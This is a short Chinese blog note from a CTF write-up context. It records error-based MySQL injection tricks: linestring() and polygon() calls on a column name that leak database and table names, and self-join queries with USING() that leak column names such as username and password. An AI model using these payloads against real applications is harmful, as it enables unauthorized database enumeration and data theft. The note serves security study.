-
报错注入小技巧
这次Lctf看到pcat大佬的报错方法,就记录一下
所以这道题就用了select * from users where username='admin' and linestring(username);(linestring是Mysql自带的空间索引函数用来索引列名,还有一个函数也有这个效果polygon)这个语句进行报错。linestring(字段名)效果是这样的
可以看到很方便的就把数据库名和表名给爆出来了,而且这个函数通常不怎么会禁用而且这个语句配合/,%,=等连接符依然可以使用。以后报错的时候又多了一种思路,当然弊端就是你必须知道字段名。
接下来的可以用这个语句报错注入select * from users where username='admin' and (select * from(select * from cklm.users a join cklm.users b using(username))c);
这个语句可以把username这个字段进行爆出来
然后select * from users where username='admin' and (select * from(select * from cklm.users a join cklm.users b using(username,password))c);
这样可以依次爆出剩下的字段
-
相关阅读:
字符数组初始化
makefile学习笔记
convert between char* and std::string
mysql 学习笔记(二)
面试中的Singleton (转)
由谈退格键的实现来学习字符编码
mysql 学习笔记(一)
Eclipse插件的安装方法
Http状态码
net use命令
-
原文地址:https://www.cnblogs.com/wangshuwin/p/7867873.html
Copyright © 2020-2023
润新知